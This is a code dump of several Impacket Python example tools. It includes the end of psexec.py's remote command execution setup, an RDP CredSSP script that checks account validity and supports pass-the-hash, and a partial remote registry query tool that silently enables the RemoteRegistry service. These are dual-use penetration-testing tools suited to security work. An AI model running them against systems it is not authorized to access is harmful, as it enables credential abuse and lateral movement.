group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store', metavar="ip address",
help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in '
'the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If ommited it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in remoteName:
password = password + '@' + remoteName.rpartition('@')[0]
remoteName = remoteName.rpartition('@')[2]
if domain is None:
domain = ''
if options.target_ip is None:
options.target_ip = remoteName
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
command = ' '.join(options.command)
if command == ' ':
command = 'cmd.exe'
executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes,
options.aesKey, options.k, options.dc_ip)
executer.run(remoteName, options.target_ip)

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,577 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
#
# Description: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation
# just to reach CredSSP auth. This example test whether
# an account is valid on the target host.
#
# ToDo:
# [x] Manage to grab the server's SSL key so we can finalize the whole
# authentication process (check [MS-CSSP] section 3.1.5)
#
from struct import pack, unpack
from impacket.examples import logger
from impacket.structure import Structure
from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode
TDPU_CONNECTION_REQUEST = 0xe0
TPDU_CONNECTION_CONFIRM = 0xd0
TDPU_DATA = 0xf0
TPDU_REJECT = 0x50
TPDU_DATA_ACK = 0x60
# RDP_NEG_REQ constants
TYPE_RDP_NEG_REQ = 1
PROTOCOL_RDP = 0
PROTOCOL_SSL = 1
PROTOCOL_HYBRID = 2
# RDP_NEG_RSP constants
TYPE_RDP_NEG_RSP = 2
EXTENDED_CLIENT_DATA_SUPPORTED = 1
DYNVC_GFX_PROTOCOL_SUPPORTED = 2
# RDP_NEG_FAILURE constants
TYPE_RDP_NEG_FAILURE = 3
SSL_REQUIRED_BY_SERVER = 1
SSL_NOT_ALLOWED_BY_SERVER = 2
SSL_CERT_NOT_ON_SERVER = 3
INCONSISTENT_FLAGS = 4
HYBRID_REQUIRED_BY_SERVER = 5
SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6
class TPKT(Structure):
commonHdr = (
('Version','B=3'),
('Reserved','B=0'),
('Length','>H=len(TPDU)+4'),
('_TPDU','_-TPDU','self["Length"]-4'),
('TPDU',':=""'),
)
class TPDU(Structure):
commonHdr = (
('LengthIndicator','B=len(VariablePart)+1'),
('Code','B=0'),
('VariablePart',':=""'),
)
def __init__(self, data = None):
Structure.__init__(self,data)
self['VariablePart']=''
class CR_TPDU(Structure):
commonHdr = (
('DST-REF','<H=0'),
('SRC-REF','<H=0'),
('CLASS-OPTION','B=0'),
('Type','B=0'),
('Flags','B=0'),
('Length','<H=8'),
)
class DATA_TPDU(Structure):
commonHdr = (
('EOT','B=0x80'),
('UserData',':=""'),
)
def __init__(self, data = None):
Structure.__init__(self,data)
self['UserData'] =''
class RDP_NEG_REQ(CR_TPDU):
structure = (
('requestedProtocols','<L'),
)
def __init__(self,data=None):
CR_TPDU.__init__(self,data)
if data is None:
self['Type'] = TYPE_RDP_NEG_REQ
class RDP_NEG_RSP(CR_TPDU):
structure = (
('selectedProtocols','<L'),
)
class RDP_NEG_FAILURE(CR_TPDU):
structure = (
('failureCode','<L'),
)
class TSPasswordCreds(GSSAPI):
# TSPasswordCreds ::= SEQUENCE {
# domainName [0] OCTET STRING,
# userName [1] OCTET STRING,
# password [2] OCTET STRING
# }
def __init__(self, data=None):
GSSAPI.__init__(self,data)
del self['UUID']
def getData(self):
ans = pack('B', ASN1_SEQUENCE)
ans += asn1encode( pack('B', 0xa0) +
asn1encode( pack('B', ASN1_OCTET_STRING) +
asn1encode( self['domainName'].encode('utf-16le'))) +
pack('B', 0xa1) +
asn1encode( pack('B', ASN1_OCTET_STRING) +
asn1encode( self['userName'].encode('utf-16le'))) +
pack('B', 0xa2) +
asn1encode( pack('B', ASN1_OCTET_STRING) +
asn1encode( self['password'].encode('utf-16le'))) )
return ans
class TSCredentials(GSSAPI):
# TSCredentials ::= SEQUENCE {
# credType [0] INTEGER,
# credentials [1] OCTET STRING
# }
def __init__(self, data=None):
GSSAPI.__init__(self,data)
del self['UUID']
def getData(self):
# Let's pack the credentials field
credentials = pack('B',0xa1)
credentials += asn1encode(pack('B',ASN1_OCTET_STRING) +
asn1encode(self['credentials']))
ans = pack('B',ASN1_SEQUENCE)
ans += asn1encode( pack('B', 0xa0) +
asn1encode( pack('B', 0x02) +
asn1encode( pack('B', self['credType']))) +
credentials)
return ans
class TSRequest(GSSAPI):
# TSRequest ::= SEQUENCE {
# version [0] INTEGER,
# negoTokens [1] NegoData OPTIONAL,
# authInfo [2] OCTET STRING OPTIONAL,
# pubKeyAuth [3] OCTET STRING OPTIONAL,
#}
#
# NegoData ::= SEQUENCE OF SEQUENCE {
# negoToken [0] OCTET STRING
#}
#
def __init__(self, data=None):
GSSAPI.__init__(self,data)
del self['UUID']
def fromString(self, data = None):
next_byte = unpack('B',data[:1])[0]
if next_byte != ASN1_SEQUENCE:
raise Exception('SEQUENCE expected! (%x)' % next_byte)
data = data[1:]
decode_data, total_bytes = asn1decode(data)
next_byte = unpack('B',decode_data[:1])[0]
if next_byte != 0xa0:
raise Exception('0xa0 tag not found %x' % next_byte)
decode_data = decode_data[1:]
next_bytes, total_bytes = asn1decode(decode_data)
# The INTEGER tag must be here
if unpack('B',next_bytes[0])[0] != 0x02:
raise Exception('INTEGER tag not found %r' % next_byte)
next_byte, _ = asn1decode(next_bytes[1:])
self['Version'] = unpack('B',next_byte)[0]
decode_data = decode_data[total_bytes:]
next_byte = unpack('B',decode_data[:1])[0]
if next_byte == 0xa1:
# We found the negoData token
decode_data, total_bytes = asn1decode(decode_data[1:])
next_byte = unpack('B',decode_data[:1])[0]
if next_byte != ASN1_SEQUENCE:
raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
decode_data, total_bytes = asn1decode(decode_data[1:])
next_byte = unpack('B',decode_data[:1])[0]
if next_byte != ASN1_SEQUENCE:
raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
decode_data, total_bytes = asn1decode(decode_data[1:])
next_byte = unpack('B',decode_data[:1])[0]
if next_byte != 0xa0:
raise Exception('0xa0 tag not found %r' % next_byte)
decode_data, total_bytes = asn1decode(decode_data[1:])
next_byte = unpack('B',decode_data[:1])[0]
if next_byte != ASN1_OCTET_STRING:
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
decode_data2, total_bytes = asn1decode(decode_data[1:])
# the rest should be the data
self['NegoData'] = decode_data2
decode_data = decode_data[total_bytes+1:]
if next_byte == 0xa2:
# ToDo: Check all this
# We found the authInfo token
decode_data, total_bytes = asn1decode(decode_data[1:])
next_byte = unpack('B',decode_data[:1])[0]
if next_byte != ASN1_OCTET_STRING:
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
decode_data2, total_bytes = asn1decode(decode_data[1:])
self['authInfo'] = decode_data2
decode_data = decode_data[total_bytes+1:]
if next_byte == 0xa3:
# ToDo: Check all this
# We found the pubKeyAuth token
decode_data, total_bytes = asn1decode(decode_data[1:])
next_byte = unpack('B',decode_data[:1])[0]
if next_byte != ASN1_OCTET_STRING:
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
decode_data2, total_bytes = asn1decode(decode_data[1:])
self['pubKeyAuth'] = decode_data2
def getData(self):
# Do we have pubKeyAuth?
if self.fields.has_key('pubKeyAuth'):
pubKeyAuth = pack('B',0xa3)
pubKeyAuth += asn1encode(pack('B', ASN1_OCTET_STRING) +
asn1encode(self['pubKeyAuth']))
else:
pubKeyAuth = ''
if self.fields.has_key('authInfo'):
authInfo = pack('B',0xa2)
authInfo+= asn1encode(pack('B', ASN1_OCTET_STRING) +
asn1encode(self['authInfo']))
else:
authInfo = ''
if self.fields.has_key('NegoData'):
negoData = pack('B',0xa1)
negoData += asn1encode(pack('B', ASN1_SEQUENCE) +
asn1encode(pack('B', ASN1_SEQUENCE) +
asn1encode(pack('B', 0xa0) +
asn1encode(pack('B', ASN1_OCTET_STRING) +
asn1encode(self['NegoData'])))))
else:
negoData = ''
ans = pack('B', ASN1_SEQUENCE)
ans += asn1encode(pack('B',0xa0) +
asn1encode(pack('B',0x02) + asn1encode(pack('B',0x02))) +
negoData + authInfo + pubKeyAuth)
return ans
if __name__ == '__main__':
import socket
import argparse
import sys
import logging
from binascii import a2b_hex
from Crypto.Cipher import ARC4
from impacket import ntlm, version
try:
import OpenSSL
from OpenSSL import SSL, crypto
except:
logging.critical("pyOpenSSL is not installed, can't continue")
sys.exit(1)
class SPNEGOCipher:
def __init__(self, flags, randomSessionKey):
self.__flags = flags
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)
self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server")
self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)
self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server")
# Preparing the keys handle states
cipher3 = ARC4.new(self.__clientSealingKey)
self.__clientSealingHandle = cipher3.encrypt
cipher4 = ARC4.new(self.__serverSealingKey)
self.__serverSealingHandle = cipher4.encrypt
else:
# Same key for everything
self.__clientSigningKey = randomSessionKey
self.__serverSigningKey = randomSessionKey
self.__clientSealingKey = randomSessionKey
self.__clientSealingKey = randomSessionKey
cipher = ARC4.new(self.__clientSigningKey)
self.__clientSealingHandle = cipher.encrypt
self.__serverSealingHandle = cipher.encrypt
self.__sequence = 0
def encrypt(self, plain_data):
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
# When NTLM2 is on, we sign the whole pdu, but encrypt just
# the data, not the dcerpc header. Weird..
sealedMessage, signature = ntlm.SEAL(self.__flags,
self.__clientSigningKey,
self.__clientSealingKey,
plain_data,
plain_data,
self.__sequence,
self.__clientSealingHandle)
else:
sealedMessage, signature = ntlm.SEAL(self.__flags,
self.__clientSigningKey,
self.__clientSealingKey,
plain_data,
plain_data,
self.__sequence,
self.__clientSealingHandle)
self.__sequence += 1
return signature, sealedMessage
def decrypt(self, answer):
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
# TODO: FIX THIS, it's not calculating the signature well
# Since I'm not testing it we don't care... yet
answer, signature = ntlm.SEAL(self.__flags,
self.__serverSigningKey,
self.__serverSealingKey,
answer,
answer,
self.__sequence,
self.__serverSealingHandle)
else:
answer, signature = ntlm.SEAL(self.__flags,
self.__serverSigningKey,
self.__serverSealingKey,
answer,
answer,
self.__sequence,
self.__serverSealingHandle)
self.__sequence += 1
return signature, answer
def check_rdp(host, username, password, domain, hashes = None):
if hashes is not None:
lmhash, nthash = hashes.split(':')
lmhash = a2b_hex(lmhash)
nthash = a2b_hex(nthash)
else:
lmhash = ''
nthash = ''
tpkt = TPKT()
tpdu = TPDU()
rdp_neg = RDP_NEG_REQ()
rdp_neg['Type'] = TYPE_RDP_NEG_REQ
rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
tpdu['VariablePart'] = str(rdp_neg)
tpdu['Code'] = TDPU_CONNECTION_REQUEST
tpkt['TPDU'] = str(tpdu)
s = socket.socket()
s.connect((host,3389))
s.sendall(str(tpkt))
pkt = s.recv(8192)
tpkt.fromString(pkt)
tpdu.fromString(tpkt['TPDU'])
cr_tpdu = CR_TPDU(tpdu['VariablePart'])
if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
rdp_failure.dump()
logging.error("Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials")
return
else:
rdp_neg.fromString(tpdu['VariablePart'])
# Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation
# 1. The CredSSP client and CredSSP server first complete the TLS handshake,
# as specified in [RFC2246]. After the handshake is complete, all subsequent
# CredSSP Protocol messages are encrypted by the TLS channel.
# The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS
# handshake, the CredSSP server does not request the client's X.509 certificate
# (thus far, the client is anonymous). Also, the CredSSP Protocol does not require
# the client to have a commonly trusted certification authority root with the
# CredSSP server. Thus, the CredSSP server MAY use, for example,
# a self-signed X.509 certificate.
# Switching to TLS now
ctx = SSL.Context(SSL.TLSv1_METHOD)
ctx.set_cipher_list('RC4')
tls = SSL.Connection(ctx,s)
tls.set_connect_state()
tls.do_handshake()
# If you want to use Python internal ssl, uncomment this and comment
# the previous lines
#tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')
# 2. Over the encrypted TLS channel, the SPNEGO handshake between the client
# and server completes mutual authentication and establishes an encryption key
# that is used by the SPNEGO confidentiality services, as specified in [RFC4178].
# All SPNEGO tokens as well as the underlying encryption algorithms are opaque to
# the calling application (the CredSSP client and CredSSP server).
# The wire protocol for SPNEGO is specified in [MS-SPNG].
# The SPNEGO tokens exchanged between the client and the server are encapsulated
# in the negoTokens field of the TSRequest structure. Both the client and the
# server use this structure as many times as necessary to complete the SPNEGO
# exchange.<9>
#
# Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
# from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth
# field is omitted by the client unless the client is sending the last SPNEGO token.
# If the client is sending the last SPNEGO token, the TSRequest structure MUST have
# both the negoToken and the pubKeyAuth fields filled in.
# NTLMSSP stuff
auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True)
ts_request = TSRequest()
ts_request['NegoData'] = str(auth)
tls.send(ts_request.getData())
buff = tls.recv(4096)
ts_request.fromString(buff)
# 3. The client encrypts the public key it received from the server (contained
# in the X.509 certificate) in the TLS handshake from step 1, by using the
# confidentiality support of SPNEGO. The public key that is encrypted is the
# ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509
# certificate, as specified in [RFC3280] section 4.1. The encrypted key is
# encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over
# the TLS channel to the server.
#
# Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
# from the TSRequest structure; the client MUST send its last SPNEGO token to the
# server in the negoTokens field (see step 2) along with the encrypted public key
# in the pubKeyAuth field.
# Last SPNEGO token calculation
#ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True)
# Get server public key
server_cert = tls.get_peer_certificate()
pkey = server_cert.get_pubkey()
dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)
# Fix up due to PyOpenSSL lack for exporting public keys
dump = dump[7:]
dump = '\x30'+ asn1encode(dump)
cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
signature, cripted_key = cipher.encrypt(dump)
ts_request['NegoData'] = str(type3)
ts_request['pubKeyAuth'] = str(signature) + cripted_key
try:
# Sending the Type 3 NTLM blob
tls.send(ts_request.getData())
# The other end is waiting for the pubKeyAuth field, but looks like it's
# not needed to check whether authentication worked.
# If auth is unsuccessful, it throws an exception with the previous send().
# If auth is successful, the server waits for the pubKeyAuth and doesn't answer
# anything. So, I'm sending garbage so the server returns an error.
# Luckily, it's a different error so we can determine whether or not auth worked ;)
buff = tls.recv(1024)
except Exception, err:
if str(err).find("denied") > 0:
logging.error("Access Denied")
else:
logging.error(err)
return
# 4. After the server receives the public key in step 3, it first verifies that
# it has the same public key that it used as part of the TLS handshake in step 1.
# The server then adds 1 to the first byte representing the public key (the ASN.1
# structure corresponding to the SubjectPublicKey field, as described in step 3)
# and encrypts the binary result by using the SPNEGO encryption services.
# Due to the addition of 1 to the binary data, and encryption of the data as a binary
# structure, the resulting value may not be valid ASN.1-encoded values.
# The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest
# structure and is sent over the encrypted TLS channel to the client.
# The addition of 1 to the first byte of the public key is performed so that the
# client-generated pubKeyAuth message cannot be replayed back to the client by an
# attacker.
#
# Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens
# fields are omitted from the TSRequest structure.
ts_request = TSRequest(buff)
# Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)
signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])
# 5. After the client successfully verifies server authenticity by performing a
# binary comparison of the data from step 4 to that of the data representing
# the public key from the server's X.509 certificate (as specified in [RFC3280],
# section 4.1), it encrypts the user's credentials (either password or smart card
# PIN) by using the SPNEGO encryption services. The resulting value is
# encapsulated in the authInfo field of the TSRequest structure and sent over
# the encrypted TLS channel to the server.
# The TSCredentials structure within the authInfo field of the TSRequest
# structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure,
# but MUST NOT contain both.
#
# Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens
# fields are omitted from the TSRequest structure.
tsp = TSPasswordCreds()
tsp['domainName'] = domain
tsp['userName'] = username
tsp['password'] = password
tsc = TSCredentials()
tsc['credType'] = 1 # TSPasswordCreds
tsc['credentials'] = tsp.getData()
signature, cripted_creds = cipher.encrypt(tsc.getData())
ts_request = TSRequest()
ts_request['authInfo'] = str(signature) + cripted_creds
tls.send(ts_request.getData())
tls.close()
logging.info("Access Granted")
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Test whether an account is valid on the target "
"host using the RDP protocol.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
check_rdp(address, username, password, domain, options.hashes)

View File

@@ -0,0 +1,428 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Remote registry manipulation tool.
# The idea is to provide similar functionality as the REG.EXE Windows utility.
#
# e.g:
# ./reg.py Administrator:password@targetMachine query -keyName HKLM\\Software\\Microsoft\\WBEM -s
#
# Author:
# Manuel Porto (@manuporto)
# Alberto Solino (@agsolino)
#
# Reference for: [MS-RRP]
#
import argparse
import codecs
import logging
import sys
import time
from struct import unpack
from impacket import version
from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt
from impacket.examples import logger
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from impacket.winregistry import hexdump
from impacket.smbconnection import SMBConnection
class RemoteOperations:
def __init__(self, smbConnection, doKerberos, kdcHost=None):
self.__smbConnection = smbConnection
self.__smbConnection.setTimeout(5 * 60)
self.__serviceName = 'RemoteRegistry'
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
self.__rrp = None
self.__regHandle = None
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__disabled = False
self.__shouldStop = False
self.__started = False
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
self.__scmr = None
def getRRP(self):
return self.__rrp
def __connectSvcCtl(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
rpc.set_smb_connection(self.__smbConnection)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
def connectWinReg(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
rpc.set_smb_connection(self.__smbConnection)
self.__rrp = rpc.get_dce_rpc()
self.__rrp.connect()
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
def __checkServiceStatus(self):
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
self.__serviceHandle = ans['lpServiceHandle']
# Let's check its status
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
logging.info('Service %s is in stopped state' % self.__serviceName)
self.__shouldStop = True
self.__started = False
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
logging.debug('Service %s is already running' % self.__serviceName)
self.__shouldStop = False
self.__started = True
else:
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
# Let's check its configuration if service is stopped, maybe it's disabled :s
if self.__started is False:
ans = scmr.hRQueryServiceConfigW(self.__scmr, self.__serviceHandle)
if ans['lpServiceConfig']['dwStartType'] == 0x4:
logging.info('Service %s is disabled, enabling it' % self.__serviceName)
self.__disabled = True
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x3)
logging.info('Starting service %s' % self.__serviceName)
scmr.hRStartServiceW(self.__scmr, self.__serviceHandle)
time.sleep(1)
def enableRegistry(self):
self.__connectSvcCtl()
self.__checkServiceStatus()
self.connectWinReg()
def __restore(self):
# First of all stop the service if it was originally stopped
if self.__shouldStop is True:
logging.info('Stopping service %s' % self.__serviceName)
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
if self.__disabled is True:
logging.info('Restoring the disabled state for service %s' % self.__serviceName)
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x4)
def finish(self):
self.__restore()
if self.__rrp is not None:
self.__rrp.disconnect()
if self.__scmr is not None:
self.__scmr.disconnect()
class RegHandler:
def __init__(self, username, password, domain, options):
self.__username = username
self.__password = password
self.__domain = domain
self.__options = options
self.__action = options.action.upper()
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__doKerberos = options.k
self.__kdcHost = options.dc_ip
self.__smbConnection = None
self.__remoteOps = None
# It's possible that this is defined somewhere, but I couldn't find where
self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD',
5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'}
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def connect(self, remoteName, remoteHost):
self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))
if self.__doKerberos:
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, self.__kdcHost)
else:
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def run(self, remoteName, remoteHost):
self.connect(remoteName, remoteHost)
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
try:
self.__remoteOps.enableRegistry()
except Exception, e:
logging.debug(str(e))
logging.warning('Cannot check RemoteRegistry status. Hoping it is started...')
self.__remoteOps.connectWinReg()
try:
dce = self.__remoteOps.getRRP()
if self.__action == 'QUERY':
self.query(dce, self.__options.keyName)
else:
logging.error('Method %s not implemented yet!' % self.__action)
except (Exception, KeyboardInterrupt), e:
# import traceback
# traceback.print_exc()
logging.critical(str(e))
finally:
if self.__remoteOps:
self.__remoteOps.finish()
def query(self, dce, keyName):
# Let's strip the root key
try:
rootKey = keyName.split('\\')[0]
subKey = '\\'.join(keyName.split('\\')[1:])
except Exception:
raise Exception('Error parsing keyName %s' % keyName)
if rootKey.upper() == 'HKLM':
ans = rrp.hOpenLocalMachine(dce)
elif rootKey.upper() == 'HKU':
ans = rrp.hOpenCurrentUser(dce)
elif rootKey.upper() == 'HKCR':
ans = rrp.hOpenClassesRoot(dce)
else:
raise Exception('Invalid root key %s ' % rootKey)
hRootKey = ans['phKey']
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
if self.__options.v:
print keyName
value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v)
print '\t' + self.__options.v + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])
elif self.__options.ve:
print keyName
value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '')
print '\t' + '(Default)' + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])
elif self.__options.s:
self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0)
else:
print keyName
self.__print_key_values(dce, ans2['phkResult'])
i = 0
while True:
try:
key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i)
print keyName + '\\' + key['lpNameOut'][:-1]
i += 1
except Exception:
break
# ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult'])
# ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0)
def __print_key_values(self, rpc, keyHandler):
i = 0
while True:
try:
ans4 = rrp.hBaseRegEnumValue(rpc, keyHandler, i)
lp_value_name = ans4['lpValueNameOut'][:-1]
if len(lp_value_name) == 0:
lp_value_name = '(Default)'
lp_type = ans4['lpType']
lp_data = ''.join(ans4['lpData'])
print '\t' + lp_value_name + '\t' + self.__regValues.get(lp_type, 'KEY_NOT_FOUND') + '\t',
self.__parse_lp_data(lp_type, lp_data)
i += 1
except rrp.DCERPCSessionError, e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
def __print_all_subkeys_and_entries(self, rpc, keyName, keyHandler, index):
index = 0
while True:
try:
subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index)
index += 1
ans = rrp.hBaseRegOpenKey(rpc, keyHandler, subkey['lpNameOut'],
samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)
newKeyName = keyName + subkey['lpNameOut'][:-1] + '\\'
print newKeyName
self.__print_key_values(rpc, ans['phkResult'])
self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0)
except rrp.DCERPCSessionError, e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except rpcrt.DCERPCException, e:
if str(e).find('access_denied') >= 0:
logging.error('Cannot access subkey %s, bypassing it' % subkey['lpNameOut'][:-1])
continue
elif str(e).find('rpc_x_bad_stub_data') >= 0:
logging.error('Fault call, cannot retrieve value for %s, bypassing it' % subkey['lpNameOut'][:-1])
return
raise
@staticmethod
def __parse_lp_data(valueType, valueData):
try:
if valueType == rrp.REG_SZ or valueType == rrp.REG_EXPAND_SZ:
if type(valueData) is int:
print 'NULL'
else:
print "%s" % (valueData.decode('utf-16le')[:-1])
elif valueType == rrp.REG_BINARY:
print ''
hexdump(valueData, '\t')
elif valueType == rrp.REG_DWORD:
print "0x%x" % (unpack('<L', valueData)[0])
elif valueType == rrp.REG_QWORD:
print "0x%x" % (unpack('<Q', valueData)[0])
elif valueType == rrp.REG_NONE:
try:
if len(valueData) > 1:
print ''
hexdump(valueData, '\t')
else:
print " NULL"
except:
print " NULL"
elif valueType == rrp.REG_MULTI_SZ:
print "%s" % (valueData.decode('utf-16le')[:-2])
else:
print "Unkown Type 0x%x!" % valueType
hexdump(valueData)
except Exception, e:
logging.debug('Exception thrown when printing reg value %s', str(e))
print 'Invalid data'
pass
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print version.BANNER
parser = argparse.ArgumentParser(add_help=True, description="Windows Register manipulation script.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
subparsers = parser.add_subparsers(help='actions', dest='action')
# A query command
query_parser = subparsers.add_parser('query', help='Returns a list of the next tier of subkeys and entries that '
'are located under a specified subkey in the registry.')
query_parser.add_argument('-keyName', action='store', required=True,
help='Specifies the full path of the subkey. The '
'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'
' HKU.')
query_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry '
